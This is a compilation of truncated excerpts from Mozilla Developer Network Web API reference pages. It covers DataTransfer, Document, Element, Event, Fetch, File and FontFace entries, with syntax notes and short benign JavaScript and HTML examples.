rt event to set the desired drag effect for the drag source. within the dragenter and dragover event handlers, this property will be set to whatever value was assigned during the dragstart event, thus effectallowed may be used to determine which effect is permitted. assigning a value to effectallowed in events other than dragstart has no effect. syntax datatransfer.effectallowed; values a domstring representing the drag operation that is allowed. the possible values are: none the item may not be dropped. copy a copy of the source item may be made at the new location. copylink a copy or link operation is permitted. copymove a copy or move operation is permitted. link a link may be established to the source at the new location. linkmove a link or move operation is permitted...
DataTransfer.mozClearDataAt() - Web APIs
the datatransfer.mozcleardataat() method removes the data associated with the given format for an item at the specified index. the index must be in the range from zero to the number of items minus one. if the format argument is not provided, then the data associated with all formats is removed. if the format is not found, then this method has no effect. if the last format for the item is removed, the entire item is removed, reducing mozitemcount by one. removing the last format for a particular index removes that item entirely, shifting the remaining items down and changing their indices. note: this method is gecko-specific. syntax void datatransfer.mozcleardataat([type], index); arguments type a string representing the type of the drag data to remove from the drag data object...
DataTransfer.mozCursor - Web APIs
the possible values are: auto uses the default system behavior. default uses the default gecko behavior, which is to set the cursor to an arrow during the drag operation. note: if any value other than default is set, auto is assumed. note: this property is currently only implemented on windows. note: this property is gecko-specific. syntax datatransfer.mozcursor; return value a domstring representing one of the values listed above. example this example shows the use of the mozcursor property. function drop_handler(event) { var dragdata = event.datatransfer; console.log("mozcursor = " + dragdata.mozcursor); } specifications this property is not defined in any web standard. ...
DataTransfer.setData() - Web APIs
he drag data store, such that the last item in the types list will be the new type. if data for the given type already exists, the existing data is replaced in the same position. that is, the order of the types list is not changed when replacing data of the same type. example data types are text/plain and text/uri-list. syntax void datatransfer.setdata(format, data); arguments format a domstring representing the type of the drag data to add to the drag object. data a domstring representing the data to add to the drag object. return value void example this example shows the use of the datatransfer object's getdata(), setdata() and cleardata() methods. <!doctype html> <html lang=en> <title>examples of datatransfer's setdata(), getdata() and cleardata()</title> <meta content...
DataTransferItem.getAsFile() - Web APIs
this method returns null. syntax file = datatransferitem.getasfile(); parameters none. return value file if the drag data item is a file, a file object is returned; otherwise null is returned. example this example shows the use of the getasfile() method in a drop event handler. ...
DataTransferItem - Web APIs
each item in the list is a datatransferitem object. this interface has no constructor. properties datatransferitem.kind read only the kind of drag data item, string or file. datatransferitem.type read only the drag data item's type, typically a mime type. methods datatransferitem.getasfile() returns the file object associated with the drag data item (or null if the drag item is not a file). ...
DataTransferItemList - Web APIs
the datatransferitemlist object is a list of datatransferitem objects representing items being dragged. during a drag operation, each dragevent has a datatransfer property and that property is a datatransferitemlist. this interface has no constructor. properties datatransferitemlist.length read only an unsigned long that is the number of drag items in the list. methods datatransferitemlist.add() adds an item (either a file object or a string) to the drag item list and returns a datatransferitem object for the new item. datatransferitemlist.remove() removes the drag item from the list at the given index. datatransferitemlist.clear() removes all of the drag items from the list. datatransferitemlist.datatransferitem() getter that returns a datatransferitem at the given index...
DedicatedWorkerGlobalScope.name - Web APIs
the name read-only property of the dedicatedworkerglobalscope interface returns the name that the worker was (optionally) given when it was created. this is the name that the worker() constructor can pass to get a reference to the dedicatedworkerglobalscope. syntax var nameobj = self.name; value a domstring. example if a worker is created using a constructor with a name option: var myworker = new worker("worker.js", { name : "myworker" }); the dedicatedworkerglobalscope will now have a name of "myworker", returnable by running self.name from inside the worker. specifications specification status comment html living standardthe definition of 'name' in that specification. living standard ...
Document: DOMContentLoaded event - Web APIs
ed dosomething(); } live example html <div class="controls"> <button id="reload" type="button">reload</button> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } #reload { height: 2rem; } js const log = document.queryselector('.event-log-contents'); const reload = document.queryselector('#reload'); reload.addeventlistener('click', () => { log.textcontent =''; window.settimeout(() => { wind...
Document.URL - Web APIs
Web › API › Document › URL
...
Document.createCDATASection() - Web APIs
createcdatasection() creates a new cdata section node, and returns it. syntax var cdatasectionnode = document.createcdatasection(data); cdatasectionnode is a cdata section node. data is a string containing the data to be added to the cdata section. example var docu = new domparser().parsefromstring('<xml></xml>', 'application/xml') var cdata = docu.createcdatasection('some <cdata> data & then some'); docu.getelementsbytagname('xml')[0].appendchild(cdata); alert(new xmlserializer().serializetostring(docu)); // displays: <xml><![cdata[some <cdata> data & then some]]></xml> notes this will only work with xml, not html documents (as html documents do not support cdata sections); attempting it on an html document will throw not_supported_err. will throw a ns_error_dom_invalid_...
Document.createComment() - Web APIs
createcomment() creates a new comment node, and returns it. syntax commentnode = document.createcomment(data); parameters data a string containing the data to be added to the comment. example var docu = new domparser().parsefromstring('<xml></xml>', 'application/xml'); var comment = docu.createcomment('this is a not-so-secret comment in your document'); docu.getelementsbytagname('xml')[0].appendchild(comment); alert(new xmlserializer().serializetostring(docu)); // displays: <xml><!--this is a not-so-secret comment in your document--></xml> specifications specification status comment domthe definition of 'document.createcomment' in that specification. living standard ...
Document.createProcessingInstruction() - Web APIs
dom_invalid_character throws if either of the following are true: the processing instruction target is invalid — it should be a valid xml name that doesn't contain "xml", "xml", or any case combination of the two, other than standardized ones such as <?xml-stylesheet ?>. the closing processing instruction sequence (?>) is part of the data. ...
Document.dir - Web APIs
Web › API › Document › dir
possible values are 'rtl', right to left, and 'ltr', left to right. syntax dirstr = document.dir document.dir = dirstr specifications specification status comment html living standardthe definition of 'document.dir' in that specification. ...
Document.execCommand() - Web APIs
le, execcommand() affects the currently active editable element. syntax document.execcommand(acommandname, ashowdefaultui, avalueargument) return value a boolean that is false if the command is unsupported or disabled. note: only returns true if part of a user interaction. don't try using the return value to verify browser support before calling a command. parameters acommandname a domstring specifying the name of the command to execute. see commands for a list of possible commands. ashowdefaultui a boolean indicating whether the default user interface should be shown. this is not implemented in mozilla. avalueargument for commands which require an input argument, is a domstring providing that information. for example, insertimage requires the url of the image to insert. spe...
Document.images - Web APIs
Web › API › Document › images
ages in the current html document. syntax var imagecollection = document.images; value an htmlcollection providing a live list of all of the images contained in the current document. each entry in the collection is an htmlimageelement representing a single image element. usage notes you can use either javascript array notation or the item() method on the returned collection to access the items in the collection. the following are equivalent: firstimage = imagecollection.item(0); firstimage = imagecollection[0]; example this example looks through the list of images and finds one whose name is "banner.gif". var ilist = document.images; for(var i = 0; i < ilist.length; i++) { if(ilist[i].src == 'banner.gif') { // found the banner } } specifications specifi...
Document.lastModified - Web APIs
ied property of the document interface returns a string containing the date and time on which the current document was last modified. syntax var string = document.lastmodified; examples simple usage this example alerts the value of lastmodified. alert(document.lastmodified); // returns: tuesday, december 16, 2017 11:09:42 transforming lastmodified into a date object this example transforms lastmodified into a date object. let olastmodif = new date(document.lastmodified); transforming lastmodified into milliseconds this example transforms lastmodified into the number of milliseconds since january 1, 1970, 00:00:00, local time. let nlastmodif = date.parse(document.lastmodified); notes note that as a string, lastmodified cannot easily be used for comparing the modification dat...
Document.location - Web APIs
Web › API › Document › location
this means that you can work with document.location as if it were a string in most cases: document.location = 'http://www.example.com' is a synonym of document.location.href = 'http://www.example.com'. ...
Document.querySelector() - Web APIs
e specified selector, or group of selectors. if no matches are found, null is returned. note: the matching is done using depth-first pre-order traversal of the document's nodes starting with the first element in the document's markup and iterating through sequential nodes by order of the number of child nodes. syntax element = document.queryselector(selectors); parameters selectors a domstring containing one or more selectors to match. this string must be a valid css selector string; if it isn't, a syntax_err exception is thrown. see locating dom elements using selectors for more about selectors and how to manage them. note: characters that are not part of standard css syntax must be escaped using a backslash character. since javascript also uses backslash escaping, be especial...
Document: readystatechange event - Web APIs
change examples live example html <div class="controls"> <button id="reload" type="button">reload</button> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } #reload { height: 2rem; } js const log = document.queryselector('.event-log-contents'); const reload = document.queryselector('#reload'); reload.addeventlistener('click', () => { log.textcontent =''; window.settimeout(() => { wind...
Document: wheel event - Web APIs
the wheel event's delta* properties to get the scrolling direction. instead, detect value changes of scrollleft and scrolltop in the scroll event. examples scaling an element via the wheel this example shows how to scale an element using the mouse (or other pointing device) wheel. ...
DocumentFragment.querySelectorAll() - Web APIs
fragment (using depth-first pre-order traversal of the document's nodes) that matches the specified group of selectors. if the selectors specified in parameter are invalid a domexception with a syntax_err value is raised. note: the definition of this api was moved to the parentnode interface. syntax elementlist = documentfragment.queryselectorall(selectors); parameters selectors is a domstring containing one or more css selectors separated by commas. examples this example returns a list of all div elements within the documentfragment with a class of either "note" or "alert": var matches = documentfrag.queryselectorall("div.note, div.alert"); specifications specification status comment selectors api level 1the definition of 'documentfragment.querysele...
Locating DOM elements using selectors - Web APIs
the selectors api provides methods that make it quick and easy to retrieve element nodes from the dom by matching against a set of selectors. this is much faster than past techniques, wherein it was necessary to, for example, use a loop in javascript code to locate the specific items you needed to find. the nodeselector interface this specification adds two new methods to any objects implementing the document, documentfragment, or element interfaces: queryselector() returns the first matching element node within the node's subtree. if no matching node is found, null is returned. queryselectorall() returns a nodelist containing all matching element nodes within the node's subtree, or an empty nodelist if no matches are found. note: the nodelist returned by queryselectorall()...
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
html page, you need to make this text node a child of some other node element. inserting elements with appendchild(..) so, by calling myp.appendchild(node_element), you are making the element a new child of the second <p> element. myp.appendchild(mytextnode); after testing this sample, note that the words hello and world are together: helloworld. so visually, when you see the html page it seems like the two text nodes hello and world are a single node, but remember that in the document model, there are two nodes. the second node is a new node of type text_node, and it is the second child of the second <p> tag. the following figure shows the recently created text node object inside the document tree. createtextnode() and appendchild() is a simple way to include white space between th...
DoubleRange - Web APIs
specifying the largest permissible value of the property it describes. min a floating-point value specifying the smallest permissible value of the property it describes. the specified min and/or and max values are required. if no match can be found that is within the given range, an error will occur. specifications specification status comment media capture and streamsthe definition of 'doublerange' in that specification. candidate recommendation initial definition ...
DragEvent() - Web APIs
dragevent object. although this interface has a constructor, it is not possible to create a useful datatransfer object from script, since datatransfer objects have a processing and security model that is coordinated by the browser during drag-and-drops. this interface inherits properties from mouseevent and event. syntax event = new dragevent(type, drageventinit); arguments type is a domstring representing the name of the event (see dragevent event types). drageventinitoptional is a drageventinit dictionary, having the following fields: "datatransfer", optional and defaults to "null". the type is datatransfer. the drageventinit dictionary inherits from the mouseeventinit dictionary. specifications specification status comment html living s...
DragEvent - Web APIs
Web › API › DragEvent
ection enters a valid drop target. dragexit this event is fired when an element is no longer the drag operation's immediate selection target. dragleave this event is fired when a dragged element or text selection leaves a valid drop target. dragover this event is fired continuously when an element or text selection is being dragged and the mouse pointer is over a valid drop target (every 50 ms when mouse is not moving else much faster between 5 ms (slow movement) and 1ms (fast movement) approximately. this firing pattern is different than mouseover ). dragstart this event is fired when the user starts dragging an element or text selection. drop this event is fired when an element or text selection is dropped on a valid drop target. globaleventhandlers globaleventhandlers.ondra...
EffectTiming.direction - Web APIs
ion. the value of direction corresponds directly to animationeffecttimingreadonly.direction in timing objects returned by animationeffectreadonly, keyframeeffectreadonly, and keyframeeffect. syntax var timingproperties = { direction: "normal" | "reverse" | "alternate" | "alternate-reverse" }; timingproperties.direction = "normal" | "reverse" | "alternate" | "alternate-reverse"; value a domstring which specifies the direction in which the animation should play as well as what to do when the playback reaches the end of the animation sequence in the current direction. it can take one of the following values, with the default being "normal": "normal" the animation runs forwards, from beginning to end, in the way we experience the flow of time. "reverse" the animation runs backward...
EffectTiming.easing - Web APIs
timingreadonly.easing in timing objects returned by animationeffectreadonly, keyframeeffectreadonly, and keyframeeffect. syntax var timingproperties = { easing: single-transition-timing-function } timingproperties.easing = single-transition-timing-function value a string defining the timing function to use for easing transitions during the animation process. accepts several pre-defined domstring values, a steps() timing function like steps(5, end), or a custom cubic-bezier value like cubic-bezier(0.42, 0, 0.58, 1). defaults to linear. available values include: linear a constant rate of change, neither accelerating nor deccelerating. cubic-bezier(<number>, <number>, <number>, <number>) specifies a cubic bézier timing function. the four numbers specify points p1 and p2 of th...
EffectTiming.fill - Web APIs
Web › API › EffectTiming › fill
below for approaches that are simpler and more performant. element.animate(), and keyframeeffect() accept an object of timing properties including fill. the value of fill corresponds directly to fill in effecttiming objects returned by gettiming() in animationeffect and keyframeeffect. syntax var timingproperties = { fill: "none" | "forwards" | "backwards" | "both" | "auto" } value a domstring indicating the fill type to use in order to properly render an affected element when outside the animation's active interval (that is, when it's not actively animating). the default is "auto". "none" the animation's effects are only visible while the animation is iterating or its playhead is positioned over an iteration. the animation's effects are not visible when its playstate is pendi...
Element.animate() - Web APIs
Web › API › Element › animate
(keyframes, options); parameters keyframes either an array of keyframe objects, or a keyframe object whose property are arrays of values to iterate over. see keyframe formats for more details. options either an integer representing the animation's duration (in milliseconds), or an object containing one or more timing properties: id optional a property unique to animate(): a domstring with which to reference the animation. delay optional the number of milliseconds to delay the start of the animation. defaults to 0. direction optional whether the animation runs forwards (normal), backwards (reverse), switches direction after each iteration (alternate), or runs backwards and switches direction after each iteration (alternate-reverse). defaults to "normal". duration...
Element.clientTop - Web APIs
Web › API › Element › clientTop
laboris nisi ut aliquip ex ea commodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. padding-bottom left top right bottom margin-top margin-bottom border-top border-bottom notes clienttop was first introduced in the ms ie dhtml object model. specifications specification status comment css object model (cssom) view modulethe definition of 'clienttop' in that specification. working draft ...
Element.clientWidth - Web APIs
...
Element: error event - Web APIs
<div class="controls"> <button id="img-error" type="button">generate image error</button> <img class="bad-img" /> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } button { height: 2rem; margin: .5rem; } img { width: 0; height: 0; } js const log = document.queryselector('.event-log-contents'); const badimg = document.queryselector('.bad-img'); badimg.addeventlistener('error', (event) => { lo...
Element.getBoundingClientRect() - Web APIs
etboundingclientrect()' in that specification. working draft initial definition notes the returned domrect object can be modified in modern browsers. this was not true with older versions which effectively returned domrectreadonly. with ie and edge, not being able to add missing properties to their returned clientrect, object prevents backfilling x and y. due to compatibility problems (see below), it is safest to rely on only properties left, top, right, and bottom. properties in the returned domrect object are not own properties. while the in operator and for...in will find returned properties, other apis such as object.keys() will fail. moreover, and unexpectedly, the es2015 and newer features such as object.assign() and object rest/spread will fail to copy returned propert...
Element.getElementsByClassName() - Web APIs
ethod getelementsbyclassname() returns a live htmlcollection which contains every descendant element which has the specified class name or names. the method getelementsbyclassname() on the document interface works essentially the same way, except it acts on the entire document, starting at the document root. syntax var elements = element.getelementsbyclassname(names); parameters names a domstring containing one or more class names to match on, separated by whitespace. return value an htmlcollection providing a live-updating list of every element which is a member of every class in names. usage notes as always, the returned collection is live, meaning that it always reflects the current state of the dom tree rooted at the element on which the function was called. as new elements ...
Element.insertAdjacentElement() - Web APIs
'afterbegin': just inside the targetelement, before its first child. ...
Element.insertAdjacentHTML() - Web APIs
as html or xml and inserts the resulting nodes into the dom tree at a specified position. it does not reparse the element it is being used on, and thus it does not corrupt the existing elements inside that element. this avoids the extra step of serialization, making it much faster than direct innerhtml manipulation. syntax element.insertadjacenthtml(position, text); parameters position a domstring representing the position relative to the element; must be one of the following strings: 'beforebegin': before the element itself. 'afterbegin': just inside the element, before its first child. 'beforeend': just inside the element, after its last child. 'afterend': after the element itself. text the string to be parsed as html or xml and inserted into the tree. visualizatio...
Element.insertAdjacentText() - Web APIs
the insertadjacenttext() method of the element interface inserts a given text node at a given position relative to the element it is invoked upon. syntax element.insertadjacenttext(position, element); parameters position a domstring representing the position relative to the element; must be one of the following strings: 'beforebegin': before the element itself. 'afterbegin': just inside the element, before its first child. 'beforeend': just inside the element, after its last child. 'afterend': after the element itself. element a domstring representing the text to be inserted into the tree. return value void. exceptions exception explanation syntaxerror the position specified is not a recognised value. visualization of position n...
Element: mouseenter event - Web APIs
y when entering them. here 4 events are sent to the four elements of the hierarchy when the pointer reaches the text. a single mouseover event is sent to the deepest element of the dom tree, then it bubbles up the hierarchy until it is canceled by a handler or reaches the root. with deep hierarchies, the number of mouseenter events sent can be quite huge and cause significant performance problems. in such cases, it is better to listen for mouseover events. combined with the corresponding mouseleave (which is fired at the element when the mouse exits its content area), the mouseenter event acts in a very similar way to the css :hover pseudo-class. examples the mouseover documentation has an example illustrating the difference between mouseover and mouseenter. mouseenter the following ...
Element: mouseout event - Web APIs
. mouseout and mouseleave the following example illustrates the difference between mouseout and mouseleave events. the mouseleave event is added to the <ul> to color the list purple whenever the mouse exits the <ul>. mouseout is added to the list to color the targeted element orange when the mouse exits it. when you try this out, you'll find that mouseout is delivered to the individual list items, while mouseleave goes to the overall list, courtesy of the hierarchy of the items and the fact that list items obscure the underlying <ul>. html <ul id="test"> <li>item 1</li> <li>item 2</li> <li>item 3</li> </ul> javascript let test = document.getelementbyid("test"); // briefly make the list purple when the mouse moves off the // <ul> element test.addeventlistener("mouseleave", func...
Element: mousewheel event - Web APIs
event, use the standard wheel event. bubbles yes cancelable yes interface mousewheelevent event handler property onmousewheel the detail property the value of the detail property is always zero, except in opera, which uses detail similarly to the firefox-only dommousescroll event's detail value, which indicates the scroll distance in terms of lines, with negative values indicating the scrolling movement is either toward the bottom or toward the right, and positive values indicating scrolling to the top or left. note: on macos, the scroll distance (and therefore the value of detail) is computed based on the accelerated scroll distance. on linux, 2 or -2 is set per native wheel event. wheeldelta, wheeldeltax and wheeldeltay valu...
Element.name - Web APIs
Web › API › Element › name
e element or a collection. syntax htmlelement.name = string let elname = htmlelement.name let fcontrol = htmlformelement.elementname let controlcollection = htmlformelement.elements.elementname example <form action="" name="forma"> <input type="text" value="foo"> </form> <script type="text/javascript"> // get a reference to the first element in the form let formelement = document.forms['forma'].elements[0] // give it a name formelement.name = 'inputa' // show the value of the input alert(document.forms['forma'].elements['inputa'].value) </script> notes in internet explorer (ie), the name property of dom objects created using document.createelement() can't be set or modified. ...
Element.outerHTML - Web APIs
Web › API › Element › outerHTML
g the element including its descendants. it can also be set to replace the element with nodes parsed from the given string. to only obtain the html representation of the contents of an element, or to replace the contents of an element, use the innerhtml property instead. syntax var content = element.outerhtml; element.outerhtml = htmlstring; value reading the value of outerhtml returns a domstring containing an html serialization of the element and its descendants. setting the value of outerhtml replaces the element and all of its descendants with a new dom tree constructed by parsing the specified htmlstring. exceptions syntaxerror an attempt was made to set outerhtml using an html string which is not valid. nomodificationallowederror an attempt was made to set outerhtml on an...
Element.releasePointerCapture() - Web APIs
explanation invalidpointerid pointerid does not match any of the active pointers. example this example sets pointer capture on a <div> when you press down on it. this lets you slide the element horizontally, even when you pointer moves outside of its boundaries. ...
Element.removeAttribute() - Web APIs
if the specified attribute does not exist, removeattribute() returns without generating an error. return value undefined. usage notes you should use removeattribute() instead of setting the attribute value to null either directly or using setattribute(). many attributes will not behave as expected if you set them to null. ...
Element.scrollLeft - Web APIs
the element.scrollleft property gets or sets the number of pixels that an element's content is scrolled from its left edge. if the element's direction is rtl (right-to-left), then scrollleft is 0 when the scrollbar is at its rightmost position (at the start of the scrolled content), and then increasingly negative as you scroll towards the end of the content. on systems using display scaling, scrollleft may give you a decimal value. syntax getting the value // get the number of pixels scrolled var sleft = element.scrollleft; sleft is an integer representing the number of pixels that element has been scrolled from the left edge. setting the value // set the number of pixels scrolled element.scrollleft = 10; scrollleft can be specified as any integer value. however: if the elem...
Element.scrollTop - Web APIs
Web › API › Element › scrollTop
content is scrolled vertically. an element's scrolltop value is a measurement of the distance from the element's top to its topmost visible content. when an element's content does not generate a vertical scrollbar, then its scrolltop value is 0. when scrolltop is used on the root element (the <html> element), the scrolly of the window is returned. this is a special case of scrolltop. on systems using display scaling, scrolltop may give you a decimal value. syntax // get the number of pixels scrolled. var intelemscrolltop = someelement.scrolltop; after running this code, intelemscrolltop is an integer corresponding to the number of pixels that the element's content has been scrolled upwards. // set the number of pixels scrolled. element.scrolltop = intvalue; scrolltop can be set ...
Element.setAttribute() - Web APIs
sets the value of an attribute on the specified element. if the attribute already exists, the value is updated; otherwise a new attribute is added with the specified name and value. to get the current value of an attribute, use getattribute(); to remove an attribute, call removeattribute(). syntax element.setattribute(name, value); parameters name a domstring specifying the name of the attribute whose value is to be set. the attribute name is automatically converted to all lower-case when setattribute() is called on an html element in an html document. value a domstring containing the value to assign to the attribute. any non-string value specified is converted automatically into a string. boolean attributes are considered to be true if they're present on the element at all, re...
Element.setPointerCapture() - Web APIs
explanation invalidpointerid pointerid does not match any of the active pointers. example this example sets pointer capture on a <div> when you press down on it. this lets you slide the element horizontally, even when you pointer moves outside of its boundaries. ...
Element.toggleAttribute() - Web APIs
the attribute name is automatically converted to all lower-case when toggleattribute() is called on an html element in an html document. ...
Element: wheel event - Web APIs
t's delta* properties to get the scrolling direction. instead, detect value changes of scrollleft and scrolltop of the target in the scroll event. examples scaling an element via the wheel this example shows how to scale an element using the mouse (or other pointing device) wheel. ...
ErrorEvent - Web APIs
"#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="166" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">errorevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties from its parent event. errorevent.message read only is a domstring containing a human-readable error message describing the problem. errorevent.filename read only is a domstring containing the name of the script file in which the error occurred. errorevent.lineno read only is an integer containing the line number of the script file on which the error occurred. errorevent.colno read only is an integer containing the column number of the script file ...
Event() - Web APIs
Web › API › Event › Event
eventinit optional this is an eventinit dictionary, having the following optional fields: bubbles optional a boolean indicating whether the event bubbles. the default is false. cancelable optional a boolean indicating whether the event can be cancelled. the default is false. composed optional a boolean indicating whether the event will trigger listeners outside of a shadow root (see event.composed for more details). the default is false. ...
Event.type - Web APIs
Web › API › Event › type
the type read-only property of the event interface returns a string containing the event's type. it is set when the event is constructed and is the name commonly used to refer to the specific event, such as click, load, or error. for a list of available event types, see the event reference. syntax let eventtype = event.type; value a domstring containing the type of event. example this example logs the event type whenever you press a keyboard key or click a mouse button. html <p>press any key or click the mouse to get the event type.</p> <p id="log"></p> javascript function geteventtype(event) { const log = document.getelementbyid('log'); log.innertext = event.type + '\n' + log.innertext; } // keyboard events document.addeventlistener('keydown', geteventtype, false); // fir...
EventSource.url - Web APIs
Web › API › EventSource › url
examples var evtsource = new eventsource('sse.php'); console.log(evtsource.url); note: you can find a full example on github — see simple sse demo using php. ...
ExtendableMessageEvent() - Web APIs
the extendablemessageevent() constructor creates a new extendablemessageevent object instance. syntax var extendablemessageevent = new extendablemessageevent(type, init); parameters type a domstring that defines the type of the message event being created. init optional an initialisation object, which should contain the following parameters: data: the event's data — this can be any data type. origin: a domstring that defines the origin of the corresponding service worker's environment settings object. lasteventid: a domstring that defines the last event id of the event source. source: the client, serviceworker or messageport that sent the message. ports: an array containing the messageport objects connected to the channel sending the message. examples var init ...
ExtendableMessageEvent.data - Web APIs
messages by sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent. var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.data); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.data' in that specification. working draft initial definition. ...
ExtendableMessageEvent.origin - Web APIs
messages by sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent. var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.origin); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.origin' in that specification. working draft initial definition. ...
ExtendableMessageEvent.ports - Web APIs
messages by sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent. var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.ports' in that specification. working draft initial definition. ...
ExtendableMessageEvent.source - Web APIs
messages by sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent. var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.source); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.source' in that specification. working draft initial definition. ...
FetchEvent.clientId - Web APIs
the clientid read-only property of the fetchevent interface returns the id of the client that the current service worker is controlling. the clients.get() method could then be passed this id to retrieve the associated client. syntax var myclientid = fetchevent.clientid; value a domstring that represents the client id. example self.addeventlistener('fetch', function(event) { console.log(event.clientid); ​}); specifications specification status comment service workersthe definition of 'clientid' in that specification. working draft initial definition. ...
FetchEvent.replacesClientId - Web APIs
ing when navigating from about:blank to another page, as about:blank's client will be reused, rather than be replaced. additionally, if the fetch isn't a navigation, replacesclientid will be an empty string. this could be used to access/communicate with a client that will imminently be replaced, right before a navigation. syntax var myreplacedclientid = fetchevent.replacesclientid; value a domstring. example self.addeventlistener('fetch', function(event) { console.log(event.replacesclientid); }); specifications specification status comment service workersthe definition of 'replacesclientid' in that specification. working draft initial definition. ...
FetchEvent.resultingClientId - Web APIs
of the client that replaces the previous client during a page navigation. for example, when navigating from page a to page b resultingclientid is the id of the client associated with page b. if the fetch request is a subresource request or the request's destination is report, resultingclientid will be an empty string. syntax var myresultingclientid = fetchevent.resultingclientid; value a domstring. example self.addeventlistener('fetch', function(event) { console.log(event.resultingclientid); }); specifications specification status comment service workersthe definition of 'resultingclientid' in that specification. working draft initial definition. ...
Using Fetch - Web APIs
te: the static method error() simply returns an error response. similarly, redirect() returns a response resulting in a redirect to a specified url. these are also only relevant to service workers. body both requests and responses may contain body data. a body is an instance of any of the following types: arraybuffer arraybufferview (uint8array and friends) blob/file string urlsearchparams formdata the body mixin defines the following methods to extract a body (implemented by both request and response). these all return a promise that is eventually resolved with the actual content. arraybuffer() blob() json() text() formdata() this makes usage of non-textual data much easier than it was with xhr. request bodies can be set by passing body parameters: const form = new f...
File.File() - Web APIs
Web › API › File › File
]); parameters bits an array of arraybuffer, arraybufferview, blob, usvstring objects, or a mix of any of such objects, that will be put inside the file. usvstring objects are encoded as utf-8. name a usvstring representing the file name or the path to the file. options optional an options object containing optional attributes for the file. available options are as follows: type: a domstring representing the mime type of the content that will be put into the file. defaults to a value of "". lastmodified: a number representing the number of milliseconds between the unix time epoch and when the file was last modified. defaults to a value of date.now(). example var file = new file(["foo"], "foo.txt", { type: "text/plain", }); specifications specification st...
File - Web APIs
Web › API › File
the size of the file in bytes. file.prototype.type read only returns the mime type of the file. instance methods the file interface doesn't define any methods, but inherits methods from the blob interface: blob.prototype.slice([start[, end[, contenttype]]]) returns a new blob object containing the data in the specified range of bytes of the source blob. blob.prototype.stream() transforms the file into a readablestream that can be used to read the file contents. blob.prototype.text() transforms the file into a stream and reads it to completion. it returns a promise that resolves with a usvstring (text). blob.prototype.arraybuffer() transforms the file into a stream and reads it to completion. it returns a promise that resolves with an arraybuffer. specifications sp...
FileError - Web APIs
Web › API › FileError
ication_allowed_err 6 the state of the underlying file system prevents any writing to a file or a directory. not_found_err 1 a required file or directory could not be found at the time an operation was processed. for example, a file did not exist but was being opened. not_readable_err 4 the file or directory cannot be read, typically due to permission problems that occur after a reference to a file has been acquired (for example, the file or directory is concurrently locked by another application). path_exists_err 12 the file or directory with the same path already exists. quota_exceeded_err 10 either there's not enough remaining storage space or the storage quota was reached and the user declined to give more space to the...
FocusEvent() - Web APIs
the focusevent() constructor returns a newly created focusevent object with an optional eventtarget. when the event has both a source and a destination, the relatedtarget value must be set to the other target. syntax var focusevent = new focusevent(typearg[, focuseventinit]); properties the focusevent() constructor also inherits arguments from uievent() and from event(). typearg is a domstring representing the name of the event. focuseventinit optional is a focuseventinit dictionary, having the following fields: "relatedtarget", optional and defaulting to null, is an eventtarget representing the secondary target of a focusevent. the focuseventinit dictionary also accepts fields from the uieventinit and eventinit dictionaries. specifications specification...
FontFace.family - Web APIs
Web › API › FontFace › family
the fontface.family property allows the author to get or set the font family of a fontface object. this is equivalent to the font-family descriptor of @font-face. syntax instanceoffontface.family = 'font family name'; var fontface = instanceoffontface.family; // "font family name" value a domstring. example var fontface = new fontface('roboto', 'url(https://fonts.example.com/roboto.woff2)'); console.log(fontface.family); // 'roboto' fontface.family = 'newroboto'; console.log(fontface.family); // 'newroboto' specifications specification status comment css font loading module level 3the definition of 'family' in that specification. working draft initial definition ...
FontFace.featureSettings - Web APIs
the featuresettings property of the fontface interface retrieves or sets infrequently used font features that are not available from a font's variant properties. it is equivalent to the font-feature-settings descriptor. syntax var featuresettingdescriptor = fontface.featuresettings; fontface.featuresettings = featuresettingdescriptor; value a cssomstring containing a descriptor. specifications specification status comment css font loading module level 3the definition of 'featuresettings' in that specification. working draft initial definition. ...
